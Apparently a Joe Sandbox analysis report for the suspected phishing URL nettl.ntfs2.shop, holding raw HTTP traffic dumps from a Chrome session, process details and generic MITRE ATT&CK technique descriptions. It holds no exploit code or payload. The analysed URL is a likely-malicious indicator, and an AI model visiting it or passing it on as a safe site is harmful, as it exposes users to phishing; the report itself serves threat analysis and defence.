2025-03-13 16:02:53 UTC	10674	IN	Data Raw: f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f f0 fc 7f 82 9f f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f bb ec 1c c7 eb 57 fc 3d 13 c7 df f4 07 f0 9f fe 02 dc 7f f1 ea 3f e1 e8 9e 3e ff 00 a0 3f 84 ff 00 f0 16 e3 ff 00 8f 57 e4 af fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 ee fb 07 31 fa d5 ff 00 0f 44 f1 f7 fd 01 fc 27 ff 00 80 b7 1f fc 7a 8f f8 7a 27 8f bf e8 0f e1 3f fc 05 b8 ff 00 e3 d5 f9 21 77 ff 00 05 c5 f8 36 96 d2 1b 7f 10 7c 48 92 6d bc 2c 9f 0a 2c 95 49 ff 00 7b fe 12 76 ff 00 d0 6a 5f f8 7e 3f c1 4f fa 19 3e 28 7f e1 a3 b0 ff 00 e6 a2 8f dd f6 0e 63 f5 ab fe 1e 89 e3 ef fa 03 f8 4f ff 00 01 6e 3f f8 f5 1f f0 f4 4f 1f 7f d0 1f c2 7f f8 0b 71 ff 00 c7 ab f2 57 fe 1f 8f f0 53 fe 86 4f 8a 1f f8 Data Ascii: 2\|PGaE2\|PGaEW=?>?W??QG??QG1D'zz'?!w6\|Hm,,I{vj_~?O>(cOn?OqWSO
2025-03-13 16:02:53 UTC	11860	IN	Data Raw: 92 97 c4 1a 85 14 51 59 90 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 a9 f7 c7 d6 92 95 3e f8 fa d0 04 f4 d9 7f d5 9a 75 36 5f f5 66 b7 96 c4 2d cf cd 2f f8 2f 5f fc 15 b2 c3 f6 48 d0 35 af 81 71 78 1e f3 c4 5a af c4 ef 01 df ad ce a8 fa 9a d9 5b 69 10 df 2d cd 8c 2e 89 e5 c8 d7 0e 1a 39 dd 90 f9 40 05 8c 07 62 e7 67 e7 a7 fc 12 ab fe 0b 9f ff 00 0e ca fd 9e 35 9f 02 7f c2 ad ff 00 84 d8 6a de 22 9b 5e fb 77 fc 24 9f d9 be 57 99 6d 6b 07 93 e5 fd 96 6c e3 ec db b7 6e 19 df 8c 0c 64 f6 9f f0 75 77 fc a4 1f c1 df f6 4f 2c 7f f4 e5 aa 57 c5 ff 00 f0 4f 6f 1b 7c 2f f8 73 fb 67 7c 3f d6 be 32 e9 27 5b f8 6b 63 a9 17 d6 ad 0d ab 5d c6 7f 76 e2 09 65 85 48 32 c3 15 c1 8a 59 23 01 fc Data Ascii: QYQEQEQEQEQEQEQEQEQEQE>u6_f-//_H5qxZ[i-.9@bg5j"^w$WmklnduwO,WOo\|/sg\|?2'[kc]veH2Y#
2025-03-13 16:02:53 UTC	10234	IN	Data Raw: 6d f3 32 ed af 1e bc f0 df 88 74 1f 18 5c 58 58 5e 32 5c df 7f a4 37 d9 a4 65 f9 19 9b 6e ef 97 fd ea f2 30 fd 51 b4 8d 23 e3 07 8b 76 df 13 ea 0d bb bf fc 23 d5 91 e1 3f 89 9e 1d f8 53 63 ac f8 87 c4 da d5 9e 93 a4 db ec 49 75 0b d6 58 23 de f2 ed 5d df dd dc df c3 59 ed f1 12 3d 2b e2 75 d7 83 ee be 22 69 f6 be 24 d3 ec d6 f6 5b 3b 9b c7 87 cb 89 b6 ed 6d ec 9b 5b ef 0f 97 76 ea f2 7f db d3 47 d2 af 3f 63 3f 1f c6 f7 9e 1d f1 65 d5 c4 09 70 96 f6 9a f4 50 49 1b a4 bb da e3 fd bf 2b ef ec fe 2d bb 6b 69 5b 91 ff 00 5f a0 75 3e af f8 67 f1 63 c3 7f 19 bc 37 fd b1 e1 5d 6e c7 5e d2 fc d6 83 ed 36 52 ac 91 f9 ab f7 97 77 fc 09 6b c4 bf e0 a8 2b bb e0 1e 8f ff 00 63 04 3f fa 4b 75 5c 4f fc 10 e3 fe 4c a3 fe e6 0b af fd 02 0a ed bf e0 a8 8d b7 e0 0e 8f ff 00 Data Ascii: m2t\XX^2\7en0Q#v#?ScIuX#]Y=+u"i$[;m[vG?c?epPI+-ki[_u>gc7]n^6Rwk+c?Ku\OL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49736	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:54 UTC	495	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 If-None-Match: "4b5febb3fb4517a225620b5fe05016d2" If-Modified-Since: Tue, 11 Mar 2025 15:19:11 GMT
2025-03-13 16:02:55 UTC	226	IN	HTTP/1.1 304 Not Modified Cache-Control: public, max-age=0, must-revalidate Date: Thu, 13 Mar 2025 16:02:54 GMT Server: Vercel X-Vercel-Cache: HIT X-Vercel-Id: iad1::r72bc-1741881774969-1fcf934d7e70 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49738	192.0.73.2	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:03:05 UTC	671	OUT	GET /avatar/61788a5113873331bc5e22d2b622f298?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:03:06 UTC	451	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 13 Mar 2025 16:03:06 GMT Content-Type: image/png Content-Length: 966 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/61788a5113873331bc5e22d2b622f298?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Thu, 13 Mar 2025 16:08:06 GMT Cache-Control: max-age=300 X-nc: MISS dca 1 Alt-Svc: h3=":443"; ma=86400
2025-03-13 16:03:06 UTC	966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 03 78 49 44 41 54 78 9c ed db 31 6b db 40 18 c6 f1 c7 42 ce 14 bc 15 1a 1a 0c c6 73 16 2f a5 ed d0 31 83 db a1 0e 9d f2 05 0c 19 13 c8 d2 31 4b 21 6b 20 5f 20 4b db 78 69 3d e4 03 a4 90 45 4b d6 9a 40 c0 38 90 2d 78 b2 c1 ea 60 2e d8 8a a4 7b 4f f7 4a f6 9d ee 3f 06 71 49 7e 91 2c dd 5d 54 09 c3 30 84 a4 9b 87 00 c7 d7 27 98 cc a6 b2 43 49 ed 35 db 08 1e 6f 71 f7 74 cf 32 5e a3 56 47 eb d5 0e 2e 07 7d 96 f1 36 bc 2a be 7f f8 86 b7 af 5b d2 63 3d d9 01 79 e0 1d b6 ba 2c 63 2d 76 d8 ea 62 af d9 66 19 6b 32 9b e2 f8 fa 04 37 0f 81 f4 d8 54 40 53 f0 44 ab 40 4c 04 34 0d 4f 54 34 62 2c a0 a9 78 Data Ascii: PNGIHDRPPpHYs+xIDATx1k@Bs/11K!k _ Kxi=EK@8-x`.{OJ?qI~,]T0'CI5oqt2^VG.}6*[c=y,c-vbfk27T@SD@L4OT4b,x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49739	192.0.73.2	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:03:07 UTC	431	OUT	GET /avatar/61788a5113873331bc5e22d2b622f298?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:03:08 UTC	450	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 13 Mar 2025 16:03:08 GMT Content-Type: image/png Content-Length: 966 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/61788a5113873331bc5e22d2b622f298?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Thu, 13 Mar 2025 16:08:08 GMT Cache-Control: max-age=300 X-nc: HIT dca 3 Alt-Svc: h3=":443"; ma=86400
2025-03-13 16:03:08 UTC	966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 03 78 49 44 41 54 78 9c ed db 31 6b db 40 18 c6 f1 c7 42 ce 14 bc 15 1a 1a 0c c6 73 16 2f a5 ed d0 31 83 db a1 0e 9d f2 05 0c 19 13 c8 d2 31 4b 21 6b 20 5f 20 4b db 78 69 3d e4 03 a4 90 45 4b d6 9a 40 c0 38 90 2d 78 b2 c1 ea 60 2e d8 8a a4 7b 4f f7 4a f6 9d ee 3f 06 71 49 7e 91 2c dd 5d 54 09 c3 30 84 a4 9b 87 00 c7 d7 27 98 cc a6 b2 43 49 ed 35 db 08 1e 6f 71 f7 74 cf 32 5e a3 56 47 eb d5 0e 2e 07 7d 96 f1 36 bc 2a be 7f f8 86 b7 af 5b d2 63 3d d9 01 79 e0 1d b6 ba 2c 63 2d 76 d8 ea 62 af d9 66 19 6b 32 9b e2 f8 fa 04 37 0f 81 f4 d8 54 40 53 f0 44 ab 40 4c 04 34 0d 4f 54 34 62 2c a0 a9 78 Data Ascii: PNGIHDRPPpHYs+xIDATx1k@Bs/11K!k _ Kxi=EK@8-x`.{OJ?qI~,]T0'CI5oqt2^VG.}6*[c=y,c-vbfk27T@SD@L4OT4b,x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	64372	35.190.80.1	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:03:28 UTC	543	OUT	OPTIONS /report/v4?s=%2BKDMb6wTkMb6UZhGPSQoLzDC6CxCGSmAY8UJyL2e%2BQ3aBU%2FpvTiBdA4cuxFTEXC5%2FNLnHcZMmGp56qUGZhvcjn5BsNInKOk5D4RzH48tXWJAu4bLNJWL9iCmiNiM96Pk82Qa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nettl.ntfs2.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:03:29 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 13 Mar 2025 16:03:28 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	64373	35.190.80.1	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:03:30 UTC	518	OUT	POST /report/v4?s=%2BKDMb6wTkMb6UZhGPSQoLzDC6CxCGSmAY8UJyL2e%2BQ3aBU%2FpvTiBdA4cuxFTEXC5%2FNLnHcZMmGp56qUGZhvcjn5BsNInKOk5D4RzH48tXWJAu4bLNJWL9iCmiNiM96Pk82Qa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 510 Content-Type: application/reports+json Origin: https://nettl.ntfs2.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:03:30 UTC	510	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 35 34 36 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 36 32 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 30 2e 34 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 74 74 6c 2e 6e 74 66 73 32 2e 73 68 6f 70 2f Data Ascii: [{"age":55463,"body":{"elapsed_time":3627,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.190.49","status_code":405,"type":"http.error"},"type":"network-error","url":"https://nettl.ntfs2.shop/
2025-03-13 16:03:31 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 13 Mar 2025 16:03:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	12:02:13
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff691810000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:02:14
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,4191389869760221839,8279947246922963098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2020 /prefetch:3
Imagebase:	0x7ff691810000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:02:20
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nettl.ntfs2.shop/"
Imagebase:	0x7ff691810000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://nettl.ntfs2.shop/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Static File Info

Network Behavior

Network Port Distribution

Windows Analysis Report
https://nettl.ntfs2.shop/